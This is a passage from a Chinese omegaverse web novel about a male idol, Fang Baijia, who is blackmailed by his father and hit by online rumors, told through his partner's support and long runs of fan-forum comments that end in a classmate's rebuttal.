方旭尧见他这个反应,当即又狮子大开口,从前边要求的两百万提升到了五百万。 方柏嘉经历了这么一遭,已然是精疲力竭,懒得再和他争辩,只说自己手上的现金没有那么多。 他节俭惯了,物欲不高,通常只留六位数的可流动现金放在银行卡里。 两人拉扯了半天,最后说好方柏嘉先打给他两百万,剩下三百万等他过段时间再补上。 这件事才勉强平息。 ……却远远没有结束。 方旭尧抓住方柏嘉的弱点,隔几个月就过来找方柏嘉要上个一两百万。 方柏嘉出道四年,迄今打给他的钱也有一千多万。这些钱对如今的他来说虽然不多,但却非常膈应。 今夜方旭尧一张口就跟他要一千万,相当于前些年的总和,一下就把方柏嘉心中的怒火给点燃了。 对方的贪得无厌让他觉得恶心。 最重要的是,方柏嘉意识到,这根本不是一两千万的事,而是一旦他纵容下去,方旭尧以后还会无止境地继续纠缠他。 他感到出离的愤怒,猛一下血气上头,放下了让方旭尧想爆料就爆料的狠话。 过后躺在床上回想,却又手脚发凉,觉得自己是不是做了什么蠢事。 也许应该答应对方的。方柏嘉晕乎乎地缩在被窝里想。 一千万对现在的他来说不算多,他怎么会傻到在这个节骨眼还给自己找麻烦? 他的眼睛看着被他甩得老远的手机,却始终没再去碰。 …… 汤昼恒没被他的“没什么”和“只是有点郁闷”的回答给唬到,歪了下头说:“是吗?可刚才我洗澡的时候,怎么好像听见外面有只比格在骂人?” 方柏嘉:“…………” 谁!允许你管一个身高一米八五的大帅哥叫比格的! 方柏嘉如同警觉的动物,瞬间稍微瞪大了点眼睛,紧张起来:“有吗?” 他装傻道:“我没听到啊?” 汤昼恒眯了眯眼。 忽然话锋一转,道:“你有没有看过网上那个说法。” “嗯?” “一个人如果觉得做什么都没劲、很烦躁,可能是生理需求没有达到标准。饿了、渴了、累了、困了,都有可能导致你的情绪低落,只要满足它们,你就不会有这种感觉了。” 汤昼恒边看着他边说。 方柏嘉缓慢地眨了下眼,示意自己听到了:“哦。” 汤昼恒:“所以你饿了吗?” 方柏嘉想了想,摇摇头。 他开始一个个排查:“想喝水吗?” 方柏嘉还是摇头。 “那睡觉呢?”汤昼恒猜测,“这个点是该困了。” 方柏嘉犹豫了一下:“是有一点,但……” “什么?” 汤昼恒鼓励他接着往下说:“你仔细想想,你现在最想要的是什么?” 方柏嘉直勾勾盯着他,像花了几秒来考虑到底要不要把这样的诉求宣之于口。 最终还是很直白地说了:“我想和你上/床。” “…………” 汤昼恒哑然了一瞬。 紧接着抬起手,反应很快地摸了摸方柏嘉的额头,好像是有比平常微微地发烫。 有一种解释,是方柏嘉在今晚的表演中受了凉,发起了低烧,倒也可以解释他为什么突然状态不好,郁郁寡欢。 但看眼下这场景,方柏嘉契合的明显是另一条。 “方柏嘉,”汤昼恒说,“你的伪感期要到了。” 方柏嘉的胸膛轻轻起伏:“哦。所以你要和我**来满足我的生理需求唔——” 鼻尖忽然被人用了些力道地捏住,方柏嘉发出的声音顿时变成被人按住肚子的尖叫鸡。 “……哥哥!”他费了些功夫才推开汤昼恒的手,“我要是个假鼻子你就该赔我医药费了!” 汤昼恒一动不动、又皮笑肉不笑地看着他道:“我是想和你说,生理期前感觉到烦躁、难过,都是很正常的现象,因为你的身体受到了激素的影响,导致你可能会把一些原本微小的感受放大,但其实事情并没有你想的那么复杂和困难。” “所以,”汤昼恒垂下眼,“告诉我你为什么不高兴,我们可以一起来试着解决它。” 方柏嘉一愣。 微微张开唇,像是觉得错愕似的,低头片刻后又抬起来,嘴巴抿了抿。 仿佛酝酿了许久,也挣扎了许久。 他忽然支起身子跪在床上,重新抱住汤昼恒,带着有些发浓的鼻音说:“哥哥,如果我‘塌房’了你还会喜欢我吗?” * 凌晨三点,本应正是人类陷入沉眠的时刻。 然而,此刻的论坛内部却因为这突如其来的恋情瓜双连爆而依旧沸腾。 【两个top同时被爆恋爱瓜老天爷我们昂佛壁灯是不是要完了】 【卧槽卧槽卧槽这太刺激了,深藏不露的高人们你们究竟还知道多少料直接一次性全爆出来好吗?】 【什么高人,就是脑子有病的ss罢了,能直接追到人住处楼下偷拍+小号开盒两边没一个正常的,恋情瓜吃吃也就算了,把ss供起来吹得跟什么似的的人家里才真该请高人了】 【不行了一晚上了还是没缓过来,两个小哥哥你们就这么急不可耐吗[笑哭]就你燈这个养老的状态大家嘴上草团魂说要继续唱跳一辈子其实又还能活动几年,就连这最后一点时间都等不了[裂开]】 【所以前段时间突然一反常态地卖起来原来是心里有鬼是吗……[小丑]我就说在团里过去几年都互不往来的两个人怎么到了后期反而关系好了,亏我还以为你们是真情流露,没想到是给嫂子(哥夫)打掩护】 【那句话怎么来着,男的,原本不卖突然卖了,谈了;原本爱卖突然不卖,谈了;会营业媚粉的突然不媚,谈了;不爱营业的突然狂媚,谈了;突然变得很有alpha气概,谈了;突然变得很有omega气质,谈了。】 【总结:alpha只要还在呼吸就是谈了】 【首页还有剩口气儿的13姐吗?采访一下你们现在是什么心情】 【烙铁我就不该在这一天上网,连着两个瓜给我看死了你知道吗】 【没事的我已经调理好了,只有其中一个人恋爱还嗑这对cp我会觉得愧疚,两个人都在谈哈哈一对亖人我不会放过你们的就算摁着你们的头你们也得给我卖腐这是你们欠我们13姐的!!!!】 【方舟批疑似陷入癫狂】 【事实证明cp名真的会影响一对cp的走向,谁还记得之前13没糖嗑的时候大家都在抱怨nyfz这个名起得不好,因为船上的全是难民……人果然还是得信点玄学[投降]】 【老天爷我们13姐上辈子是不是杀过人了你要这么对我们[微笑]不说了321跳】 【退团!!!退团!!!md欺骗我的感情,现在外面一提到燈就是那个两个top都在谈的恋爱团,恋爱咖你们欠我的用什么还!】 【+1,小行星小方糖天天在那夸自担多敬业多有豆德结果笑死耐不住寂寞的只有两位大桃浦呀,求剩下四燈和两位top割席教程[心]】 【四个洗脚仆当初蹭top热度吸血的时候怎么没那么多讲究现在开始叫着要割席了[666]】 【说让13棍和哀嚎着燈药丸了的闹够了没有,这年头了哪有因为爱豆恋爱就退团的,又不是刚出道……再骂下去真给他俩虐粉了】 【小行星小方糖粉还用虐吗?感觉这个恋爱爆料对两家毫无影响啊,目前还激烈地在对方的广场上奋战着】 【两家现在的大实时,谁敢看?】 【额滴神啊,爆出恋爱瓜了也要广场互屠吗?有意思】 【一直觉得13无论如何都不会flop就是因为他们对对家的恨太持久了,只要对家还活着他们都会凭借这份恨意一直互相支撑(……)下去】 【谁来预测下他俩的人气在这件事后会有什么变化,队内会大洗牌吗?13该不会从此就flop了吧[吃惊]】 【问这个问题认真的么……?这要是刚出道恋爱瓜可能还对他们有些影响,出道四年人气早就固定了,说难听点13就算再谈十次恋爱剩下的粉都比另外那四个多】 【感觉像四燈粉在看到两个top出事后乐死前的最终幻想】 【不如问谁来预测一下公司和本人什么时候回应】 【感觉看这样子会装死吧,尤其是3那个,真的想不到该怎么发声明,怎么发都没有说服力啊】 【不是?倒也没有给13说话的意思但现在大家是都默认瓜都是真的了吗?如果我没看漏什么的话目前其实还都是爆料者方的一面之词吧?】 【这还有什么好说的,事情从发生到现在都过去无数个小时了,又是在流量最大的晚上,这么大的舆论公司怎么可能没注意到,真是假的又怎么可能不立刻澄清,估计公司内部现在还在商量对策[囧]】 【不——要——啊(尖叫)老三我是想让你当0但我只是想让你给老哥当老婆而已,谁允许你和其他男人谈恋爱还老公哥哥叫得那么亲密了(尖锐爆鸣)】 【以后再也看不下去你燈任何有3的同人文了】 【这件事带来的唯一好处就是应该不会再有队友嬷拉不不的瓜(沉默)】 【经过这一夜我从今往后不会再相信任何爱豆了谁懂……感觉引发信任危机了,虽然燈13两家经常打架但不可否认这俩本身就是饭圈都公认的敬业豆,粉上的时候粉丝也说可以放心喜欢正主专心事业这些年除了造谣0绯闻,结果[小丑]原来只是谈的时候不会让粉丝知道罢了】 【呃你要说1那确实是(和某omega花不算哈,那才是真正的开局一张图剩下全靠编),3的话,没记错的话他一直有瓜吧……说他被爆出这种我完全不意外】 【啊?????3有什么瓜?】 【同,我粉上太晚没听说过啊[惊恐]啊啊啊别吓我】 【直接描述也有点困难,你们直接去某书上搜老三名+赡养费吧】 …… 又是纷纷扰扰的一夜。 直到早上七点。 平地炸响一声惊雷。 【……?谁看见隔壁小绿书上这个帖了,卧槽,这里面说的是真的吗?[链接]】 第60章 第 60 章 我们燈这下才是真的要完…… 八点多不到九点, danny哥和他带来的助手在小乐的带领下匆匆赶来敲响汤昼恒的房间大门。 他是凌晨五点多到达的酒店,办理了入住手续后,只躺下休息了三个多小时, 马上又被公司的人连环call起来,告知他网上出现了情况。 “啧, 出了这种事怎么还能睡得这么沉的。”在外边按了两分钟门铃都没人应,danny哥等不及, 对着旁边的小乐道, “备用房卡呢, 备用房卡有没有?” 小乐这才反应过来似的, 从贴身的腰包里掏出一张卡给他递过去。 男人刷开门, 往前走了没两米, 迎面撞上正从卧室里出来的汤昼恒。 Alpha瞧见来人,先是怔了怔,随后面不改色地缓缓合上身后的房门, 朝客厅沙发迈上几步说:“来了, 坐吧。” 看样子竟然有所预料一般。 “方柏嘉呢?”danny哥左右看看。 尽管已经知道了二人的关系, 真直面这个事实时,他的语气和表情还是有些尴尬。 “我听小乐说,他也在你这里。” “他伪感期快到了, 比较嗜睡。”汤昼恒仿佛没察觉到对方的这点不自然, 调了下客厅的空调温度,“要不然先别叫他了吧。” “什么不叫他了!”danny哥眉头紧锁,手指头在桌面上猛点了点,“就是和他有关的事儿。你自己看看,昨天还爆恋情呢,今天这都什么跟什么, 赶紧叫方柏嘉出来——” 随着话音落下,不远处的卧室大门竟真被人从后面打开了。 方柏嘉凌晨的时候有点头痛,虽然已经十分困了,却还是一直翻来覆去到快四点才睡下。 此刻,他一脸疲倦未睡醒的样子从房中走了出来,睡衣外面披着一件汤昼恒昨晚穿过的外套,颈后严严实实贴着一块新的阻隔贴,像是被屋外人的动静给吵醒,边汲拉着拖鞋过来,边冲几个人泪眼朦胧地打招呼:“来了。” 汤昼恒往旁边挪了挪,他在他身边坐下来。 “……”Danny哥冷眼看着他和刚才的汤昼恒如出一辙的言行,心里有一瞬竟飘过一句:难道这就是谈恋爱的魔力?竟然能把两个人变得如此之像。 他晃了晃脑袋,示意助手将手机递给他们。 两人接过来看了几分钟,大致弄明白了。 这件事的起因在于,方柏嘉那个关于他父亲的瓜不知怎么被挖出来大范围扩散了。 一时间无数个平台都在聊起这事,惊呼“他居然还有这个瓜”。 【没想到燈3居然是这种人,藏得也太好了[惊恐]】 【看完只想说3f好会捂,这么大的瓜之前13打架居然从来没看到有人提过?燈圈这下又热闹了】 【你区也换了太多人了,这件事当年很火啊,一晚上在你区建了两栋高楼,不过很奇怪,他爸的帖子只存在了几个小时就消失了,管理员查了下说他是自删,后来别人怎么私信他都不回,站内其他的讨论帖也很快被压了……】 【其实就是拿到钱就删帖走人了吧,本来他爸的诉求就是要赡养费,3肯乖乖给封口费他自然也见好就收】 【粉圈本来就是来来往往老粉丝走新粉丝来……好多一两年前的事现在一说还一堆人不知道要科普呢,人的忘性都大,知道的3老粉再帮忙遮掩一下,过一段时间就什么都不记得了】 【谁还记得那是老三最初被叫皇族的由来,真就硬捧啊,一个原本不学无术还中途辍学的alpha混子就因为长了张好看的脸包装一下摇身一变成敏感小狗男了,明明出道后无有过数次没素质表现也都能拿狗塑掩盖过去,问就是比格就这样[白眼]】 …… 上午七点多快八点,借着这股讨论风潮,竟然又有人站出来发了篇新爆料。 发帖人声称在无意中认识了方柏嘉的父亲,并从对方那里得知了一个猛料。 当年方柏嘉不再上学后自己退学去了首都,方父和妻子非常担心他的境遇,和他打过好几次电话。 结果方柏嘉每次接电话都非常不耐,让他们少管自己,最后一次通话时,更是直接吹嘘自己在首都这边找到了一个非常牛逼的男朋友,可以让他出道当大明星。 家里人怀疑他是不是在外面认识了什么坏人被骗了,再三追问,方柏嘉便扬言自己的男友有钱又有背景,和一个娱乐公司的老板关系很好,可以把他加塞进偶像团体里出道,嫌弃地叫家里人以后都别跟自己联络。 在这之后没过多久,家里就被人找上了门。 对方声称来自某某娱乐公司,过来帮他办理转学手续,需要用到学生家长这边的一些证件资料以及他们的配合,全程没有过问过方家人的意见。 方父和妻子担心对方是骗子,起初不肯给,结果对面公司甚至增派了员工过来和他们交涉,大有威胁恐吓之意。中间方柏嘉本人也出现过一次,后来全由工作人员过来跑腿代办,方家看他背后大有靠山,自己惹不起,就随他去了。 时过不久,方柏嘉果真像他说的那样,在男团里出了道。 方父这两天看到网上的新闻,意识到方柏嘉这个小号上提到的人可能就是他当时的男友,向爆料人提供了山川相缭的员工与自己微信联络的聊天记录。 本就汹涌的互联网海面顿时炸开新一轮的水花。 【666这什么土皇帝行为,攀上金主装都不装了,光明正大靠走关系享受一般人享受不到的便利,其他练习生知道3这样吗?】 【和娱乐公司的老板关系好……指的是周红绮吗,omg这个瓜发展到了我意想不到的深度】 【这件事如果是真的未免也太讽刺了,没记错的话之前zhq接受参访的时候还说过自己办偶像团体的初衷就是可以把更多散落在人群中的好苗子发掘出来送上舞台,结果原来还是关系户大比拼啊(。)】 【一些资本家套话罢了】 【打开你区给我干哪来了,一觉醒来老三已经发展到两连塌了吗,塌完恋情塌人品,居然还发展到疑似出现公司内部黑幕料】 【前面说两个top恋爱要完了的,我们燈这下才是真的要完了……】 【我看傻了,所以这个爆料人的意思是说老三当初被选上成为练习生是因为被大佬看中潜规则走了后台????大佬在scxl有人脉所以动用关系把他送进公司还保送进了出道组是吗?】 【?可是公司不是一直宣传说不不当初是在酒吧唱歌的时候被星探看中才被邀请参加公司的练习生面试的吗?那个他穿着服务生制服在台上边弹琴边唱歌的视频几乎是每个3粉入坑必看吧,这和大佬人脉又有什么关系啊】 【别太天真了,人设都是包装和打造出来的[笑哭]你以为他是纯素人刚好实力出众被公司挖掘,其实可能就连在酒吧唱歌也是提前安排好的[化了]】 【啊???这真的是不不能说出来的话吗,和他平时在物料里的感觉一点都不像啊,小号里也是特别恋爱脑一口一个甜甜的哥哥,和帖子里攀权附会趾高气昂的形象好割裂……】 【其实不冲突吧……爆料里也说了3管对方叫男朋友,自认为在和金主谈恋爱和他凭借抱有权有势的人的大腿获取利益并不互斥(。)】 【如果这篇爆料是真的那我真的对3滤镜狂碎,小小年纪就走上歪路还得意洋洋真不敢想三观有多扭曲,就这样的人居然还一堆粉丝洗】 【这事别最后闹到搞得zhq都出来发声明那就好笑了】 【?是我疯了还是世界疯了,这个楼里的人就这么拿着根本没锤的文字料津津有味地讨论还批判上了?你们谁啊?】 【如果我没看错楼里有些内容已经是造黄/谣的程度了……诸位说话都谨慎一点吧,事情还没盖章定论,到时候证明对方是造谣scxl顺着楼一溜告下来某些人就老实了】 【我怎么感觉关于3的爆料从头到尾都这么怪,所有的料都靠嘴说弄得跟讲故事一样,结果放上来的证据居然是这种根本没法确定事件真实性的边角料?怕不是3爆出恋爱瓜后公司紧急公关想出来的洗白方式,搞个特别离奇的瓜后再澄清最后连恋情也无人涛了】 【但这种事本来也不好放证据吧,3他爸要是能甩出一条当年的聊天通话那才惊悚+假,什么人和自己儿子对话还录音】 …… 一时间,网络上的风向都变成了这样。 这篇爆料,明显是在看过方柏嘉小号上的内容后“即兴”发挥拓展的。 意图非常明确,并且确实聪明,知道方柏嘉及其公司团队对恋情绯闻非常敏感,肯定不会轻易就这个号进行发声,便在此基础上大做文章。 方柏嘉想出来否认,就绕不开小号的身份这一关。毕竟造谣内容都是根据小号上的博文发散的,他要是连同小号一块否认了,网友自然不会买账。 要是承认了小号但是否认传闻,起码恋情瓜也做实了。 再者,否认了又能怎样呢?他能怎么否认? 想要证明自己做过什么或许容易,证明自己没做过一件别人捏造出来的事情,难度就要大得多了。 这种和编故事没区别的造谣主要目的就是一个,影响对方在公众眼里的形象和大众好感度。 至于真不真、证据够不够的,只要水军铺得够多,即便方柏嘉真的没做,只要有了这样的负面传闻,他的事业依然可能受到影响。 方柏嘉翻完截图里的帖子,深吸一口气。 他脸色平静得让danny哥都觉得有点害怕,伸手在他眼前挥了挥:“你……就不想说点什么?怎么一点反应都没有?” 方柏嘉面无表情地抬起头:“真正想杀人的人是不会多说废话的。” “……” 好吧,这个反应还算正常。 Danny哥靠回沙发,但眼睛仍旧盯着方柏嘉:“他上面说的那些,应该不是真的吧?” 方柏嘉摇摇头。 男人稍微放心了点,紧接着又道:“——你之前不是给他钱了吗,怎么还没够?!” 方旭尧第一次来找方柏嘉这件事,公司也是略微知情的。 事情发生时正值团队上升期,舆论出现没多久,就引发了公司的注意。 然而就在他们找到方柏嘉,准备着手进行处理的时候,那个自称是方柏嘉父亲的人居然就那么悄无声息地删了帖。 问过方柏嘉后才知道,他自己已经联络过对方,并且私下进行了和解。 其余的却什么都不肯多说,包括他怎么和解的、具体到底是怎么回事,只在经纪人问起时向他保证,自己已经解决好了,不会再有下次。 他们也不是猜不出来,方柏嘉解决这类的问题的方法,无非是用钞票。 对方如此斩钉截铁,danny哥便料想他心中有数,既然能给出钱,应该也是负担得起的,就没有再说什么。 后面一直没再出过事,danny哥原本都要忘记了有这个人存在。 没想到这一次,对方居然又卷土重来了—— 方柏嘉眼看着瞒不住,深深地揉了揉山根后,和身旁的汤昼恒对望一眼,将自己一直在被方旭尧索要钱财的事情说了。 Danny哥眉头紧锁:“他后边找你敲诈勒索了这么多次,你居然一次都没跟公司说过!” “我不知道要说什么。”方柏嘉眨了眨眼,“我当时一看到他说的那些,就慌了神。后面他再借此来向我要钱,我也没法拒绝。而且我已经跟公司说了,我可以解决,过后要是再来说我其实搞不定……” 太丢人了。 “我就想,多一事不如少一事,反正那些钱对我来说也不算多,给就给了……然后就一直到了现在。” 方柏嘉后面很长一段时间都在后悔不该答应方旭尧的条件。 然而现在,说这些都为时已晚。 danny哥按掉从早晨起就一直在他耳边响个不停的电话,干脆将手机调成静音模式,对着面前的电脑沉思:“光是要回应,其实也没什么难的。如果他说的都是造谣,那么只要抓住其中一点专门进行整理和澄清,其他的也都能不攻自破。现在的困难是,这一点究竟在哪?” 男人看向方柏嘉:“你再想想,真的没有可以反驳对方言论的东西吗?” 方柏嘉皱着眉思索了半天,最后还是摇了摇头。 其实脑海中有一瞬闪过了自己五年前和汤昼恒的私信对话,那里面应该有能证明他“生活潦倒”的内容,可有必要吗?这也太社死了!!! 一个小号已经够那个了,居然还要他死上加死—— 方柏嘉不禁感到一阵绝望,低头看着两腿间位处于茶几和沙发间的地面,烦躁地抓了抓头发。 空气陷入寂静,每个人的脸上都是一脸凝重。 直到汤昼恒摆弄了一会儿手上的手机,一阵沉默后突然开口:“我这边应该有合适的证据,而且,不会特别暴露隐私。” 他就像是能猜到方柏嘉在想什么似的,一只手搭在对方露出来的、贴着阻隔贴的后脖颈上按了按。 那人不解又警觉地抬起头。 房中其他人的目光也朝他看了过来。 汤昼恒的手指连戳了几下手机,示意经纪人跟他去一边的角落里单独查看。 过了一会儿,说:“怎么样?这个可以吗。” 方柏嘉一脸茫然地从远处往这边望。 Danny哥捶了下掌心:“好!再收拾收拾,可以准备告了!” * 与此同时,社交媒体上的讨论还在继续。 【?隔壁这个帖有无人涛过,有人扒出来3在练习生时期和scxl好多影视部的艺人有过不止一次合照。看了下都是在节日期间的聚餐,这帮人基本上要么是周红绮从前公司带过来的,要么是从其他公司挖的,不算很火,四五线吧,其中有秦高阳、骆察、XX、YYY,反正就是那一圈差不多年龄和咖位的。哦对了,顺便一提,有一张合照是在过年的时候,看评论应该,老一也在合照里[微笑][图片][图片][图片]】 【哦摸,感觉确实很微妙,不不该不会真有点人脉吧】 【妈呀,幻视一帮人知道3背后有大佬靠山所以迫不及待腆着脸想和他套近乎,专门把人邀请来一起聚会,说实话真的不信在这个踩高捧低的ylq里一群都已经出道演戏这么久的人了还会看得上和一个公司里的练习生社交,除非他们心里门清fbj铁出道并且未来会是公司主捧】 【这个燈老三越扒越有怎么回事……】 【这么一说总觉得对老一的观感都变差了】 【srds如果我没记错秦高阳曾经也是男团成员预备役吧,当初提前大半年就被安排去和练习生们一起学唱歌跳舞的,只不过临到出道战前周红绮又改变主意不让他去了。有没有可能他就是在那时候认识老三并且把他带到朋友圈里去的?】 【这个说法是不是太牵强了,老三出道后可和秦高阳没什么交集,一看关系就一般的公司同事的那种,都好到能带去认识其他朋友了后面会是这么冷淡的局面吗?】 【怎么越说越玄乎了,虽然这么说可能像在给3吹比但是他那张脸还需要傍大佬吗,随便去一个娱乐公司都不可能不要吧】 【ls说这话是不知道现在的ylq已经是有钱人的天下了吗……光长得好看有什么用,没人捧你给你资源不还是糊逼一个,老一在跟着现老板周红绮来scxl前从十三岁就开始演戏接来接去都是一些边缘角色,是老一不够帅吗[疑惑]相反的例子可以看看同公司的前太子,家里是某市首富,zhq前期那叫一个舔的,就要把他捧天上去了。就这么说吧,一个长相6分但是自带金钱资源可以给公司提供很多助力,一个长相9分但是啥也没有纯草根出身的练习生,站在资本家的角度你选哪个?】 【有的人也挺好笑,照你这么说燈几个的屁股都不干净了呗,毕竟“ylq是有钱人的天下”[白眼]】 【ls别急,我也只是说明一下这个爆料是有可能成立的而已】 【妈呀都别吵了,3他爸之前用来爆料那个账号复活了】 【?他说啥了】 【具体没说啥,但是放了个3当时给他银行打了100万的截图证明,时间就是在他第一次爆料的当天】 【……这算是锤了老三心虚拿钱捂嘴了吧,如果对方手上没料一般人谁会心甘情愿给钱】 【omg,你区今天一整天又要热闹了】 【看出来3他爹想趁3这一波落井下石再捞一笔了,这副嘴脸也是够急切的,观感好差】 【只能说苍蝇不盯无缝的蛋惹】 【scxl的员工包括3本人现在都正在边看舆论边吐血吧……当初以为自己招了个财主进来没想到迎来的是无穷无尽的后患和麻烦】 * 方文宣那条黑评现在已经有了一千多赞。 底下的评论源源不断,基本成了方柏嘉的黑粉聚集地,一群讨厌他的人上来就捧方文宣的臭脚,但其中也夹杂一些粉丝在质疑和不忿。 这两帮人就这么打在一起,一时间也不需要他插手。 直到一条评论的出现。 今天没吃饱:【你谁啊?装出一副这么了解他的样子,你认识fbj本人吗?】 方文宣被评论底下他说什么是什么的黑子吹嘘惯了,想也不想地评论:【我是他同届的同学,怎么了,你又是谁?】 今天没吃饱:【我也是他同届的同学,你叫什么名字,给我一个缩写,我看看我认不认得你,就在这瞎说八道。】 这条透露着不一样气息的评论一下引起了吃瓜群众的注意。 【卧槽,又来一个知情人士?】 【怎么感觉有瓜吃,新来的人脉好像和层主意见不一致?】 方文宣的心重重咯噔跳了一下,这才意识到自己闯了祸—— 方柏嘉学校里的同学,他上哪儿知道去! 方文宣的背上瞬间洇出了冷汗,不知道该怎么回答,只能紧密关注对方的动向。 “今天没吃饱”还在回复别人:【我确实是他的同届同学,我家里现在还保留有我们那届高中的毕业合照,应该能证明我的身份不是伪造的吧?】 没想到在这儿都能碰上方柏嘉曾经的校友,方文宣立刻慌了神,担心再被对方抖出什么来,长按屏幕,把“今天没吃饱”的几条评论都按了删除。 ——却依然挡不住“今天没吃饱”在十几分钟后发了新帖。 对方把自己在方文宣底下回复过的截图放了上来: 【?刚想回复就显示已被删除,那我干脆重新发一条吧。首先,本人确实是方柏嘉的在高中时期的同班同学,有人问我要证据,我虽然还在津市,但距离老家有点距离,刚才已经给我妈发消息让她帮我找高中毕业册拍照给我了。 其次,关于方柏嘉的不实传言,什么私生活很乱,什么不学好的混混,完全没听说过。上学期间的他像什么呢……不知道你们有没有看过小说里的清贫校草男主,他给我的感觉就是那种。 鞋穿的是最便宜的,冬天的外套就那么一件,用的一直是最便宜的那种劣质阻隔贴,一般人不是阻隔贴用一天就丢了嘛,但是他一张可以用好几天,用到被水泡过的边缘都卷起来,书包看上去也很老(但是整个人都很干净!),一有空就在替别的同学抄作业跑腿买零食这些赚几块十几块的收入,感觉他一直缺钱花。 我们学校是住宿制,晚上总有alpha逃课去附近的网吧打游戏,他就跟着去,干什么呢,带那些alpha游戏升级赚陪玩费。 旷课记录应该就是在那段时间攒下的(没有说这个行为对的意思哈),不过后来年级主任严抓了一段时间,还给几个情况最严重的学生记处分后就不行了。 再然后他好像就用周末时间去打工了。在那种很小的县城连锁奶茶店里摇杯子,早上看的时候在,晚上去看依然在。不要问我为什么知道哈哈,因为也和别的同学去过这家店。 奶茶店附近几条街上卖东西的很多,算是小型的商业街吧,很多我们学校的学生周五放学了都会结伴去那边玩,也有人就住在附近。 撞见同学来消费他也不会表现出尴尬,就是淡淡地跟你打招呼,但是会悄悄给你多塞一勺小料。 他真的是非常有礼貌的一个人,虽然看上去可能不好接触。 那个年纪的alpha什么样大家应该都心里有数,吵吵闹闹还特别装逼,但是他就,嗯,那时候我们一帮omega私下都管他叫忧郁王子。很土是吧,但当时真是这么想的。 从始至终家长开会就没见过他的父母,来参加的都是一个好像是姑妈的亲戚。本来以为看他这个状态可能家里条件不好,但其实姑妈打扮得也很体面,只是看起来对他很不耐烦,后面也经常找理由不来。 他的学习成绩不是最好,但也没有很差吧。刚入学的时候差不多年级前二十五那样子,后面慢慢掉到七八十了。虽然很可惜,可因为要打工挣钱养自己,被影响到学习也没办法。 但绝对不是什么自甘堕落不想学!而且他都忙成这样了哪有功夫搞那些乱七八糟的。 刚刚评论区有人问我为什么方柏嘉的同学这么多之前却一直没在网上说过这些,不知道其他人怎么想的,我个人是觉得,既然他自己都不想提这些事,肯定也是不想拿自己的经历作为噱头卖惨,那我作为一个外人也没有必要替他说,只要现在过得好就可以了。 但这两天看到爆料我非常震惊(因为上一次爆料我没有刷到),他爸爸说的完全和我认知中的方柏嘉完全不一样。我真的不知道是什么样的心理推动可以让一个父亲这么贬低自己的儿子,如果你很小就把他寄养去了亲戚家,那你怎么会知道他在那边发生了什么呢?如果这些都是你的亲戚告诉你的,你又怎么确定亲戚说的就是真的? 还是这干脆就是你自己在瞎掰? 另外,对于方柏嘉的爸爸究竟有没有给他一个月2000块我也很怀疑,我实在理解不了一个每月能拿2k生活费还生活得大手大脚的人会穿得那么一眼拮据,图什么?—— 再编,我妈回我了,把我们那届的校友合照放上来了,但是照片里没有他。 嗯,因为方柏嘉高二寒假结束就没再来上学了。 去送作业的同学有听到老师给他家长打过电话,不知道具体说了什么,但我们私下都猜应该是他家里不让他上了,很唏嘘,也替他惋惜。所以后面发现他居然出道成为了明星,我还蛮惊喜的,有种“果然金子不会被埋没”的感觉。 虽然没有他的毕业照,不过费力地在网盘里扒出了当年的班级合照文件夹,在里面找到了有他的照片,基本上都是运动会、春游这种活动上照的,应该可以证实我说的不是假话。】 帖子一发出来,热度蹭蹭地上涨。 【卧槽,火钳刘明,这是真·曾经的同班同学,照片都有的那种】 【本来只是围观吃瓜,现在品出一点味道了,这是有人假装曾经的同学抹黑fbj结果被真同学出来打假了啊?】 【所以两边究竟谁说真话谁说假话很明显了吧?一个不仅拿出了照片佐证还能把各种细节说得清清楚楚,一个空口无凭说瞎话翻来覆去就是假大空的“私生活混乱”,该相信谁大家都心里有数】 【而且博主这个姑妈的说法也和方柏嘉他爸那边把他送去亲戚家吻合了……】 【我去居然有反转?接下来就看爆料的层主会拿出怎样的证明了】 【还有人在这等所谓的证明呢,真有早拿出来了,那层楼底下不少人问他要能证明自己身份的东西愣是一直装瞎,一看到有真同学出现立刻把人评论删了,有多心虚还用多说吗?】 【@某个人怂货装什么死?以为自己不说话别人就注意不到你了是吗?@UNFORBIDEM 赶紧让你的法务部出来干活!】 【所以果然还是方柏嘉他爸有问题……还好之前没轻易站队,如果这个同学说的都是真的那3高中时期看起来真的挺惨的,他爸在爆料里那么编排他是为了什么啊?】 【为了钱啊,自己就没怎么上心照顾过的孩子长大后挣钱过上好日子了,结果因为以前对对方太差没法实行怀柔政策,只能剑走偏锋通过造谣的方式敲诈勒索。反正人不要脸天下无敌,国人的观念普遍也是孝顺当先+天然对208w仇富,直接编造一个白眼狼混混208w成名后忘本不承认养育之恩的剧本多吸引人眼球】 【还是搞不懂,如果老三真的是占理的那一边,他当初答应给他爸钱干嘛?这不合理吧?】 【有什么不合理的,现成的例子就摆在这儿,他爹说了一堆没有根据的内容就一堆人吻上来真的信了,占不占理有用吗?网上多得是看热闹传播谣言不讲基本法的人,正常人每天工作忙得要死谁有心情跟突然冒出来的low货掰扯,就当花钱消灾了】 【同意博主的话,别的我不知道,看到别的平台有人说方酒吧唱歌是作秀,真不是啊……我是酒馆前员工,当初方和我们一起工作过大半个月的,根本没见过什么有钱男友,他那会儿刚来首都没地方住,晚上直接睡在我们店休息室一个特小的沙发上,行李箱也一直放在店里,那次酒吧上台纯粹是当天的驻唱有事来不了,他临时顶上了。 过后大家都觉得挺惊讶,像我们这种都是家里没条件才只能早早出来打工,没想到他还有这种才艺,就问他为什么不上学了,他说家里不供了,我还以为他家长死了或者残废了没收入呢,没想到原来活得好好的啊?】 【?又一个知情人现身了,这么热闹的吗】 【已经被造谣的人搞怕了,有没有什么证据证明你真的是前员工啊?】 【不用提供证据了,我看了下层主主页的自拍,3有张网上流传过的之前在酒馆打工和其他服务生一块拍的合照,这姐是左边第二个(。)】 这条小绿书的帖子很快被转到论坛。 【这么一说确实诶,他爸的帖子里很多话细品都很微妙。我又返回去重新看了一遍,他说家里大人都不在,两个小孩在家结果老三把他弟弟推下来了,成年人又不在家,怎么知道具体发生了什么?如果3真这么干了肯定不会自己承认吧?那就是他弟说的。原话‘当时才只有几岁大的弟弟’,这么点的小孩有完整表述的能力么,说的话可信么?他爹怎么就相信小的那个了?】 【窝趣有点细思极恐怎么回事】 【别的不说综合看下来这个爹绝对是偏心的,别人说你儿子是啥你就信啥,这得多讨厌对方才能无条件相信关于对方的坏话啊,就像方的同学说的,你都把儿子扔给亲戚养了你装啥呢?说得有鼻子有眼的,你是亲眼看见他混他偷了?那你怎么没看出来他过得很差啊?】 【就是为了合理化自己不负责的行为呗,不是我故意要赶走他的,是他手脚不干净还对弟弟差;不是我要断供的,是他自己性子野非要出去混社会,事实上谁知道?】 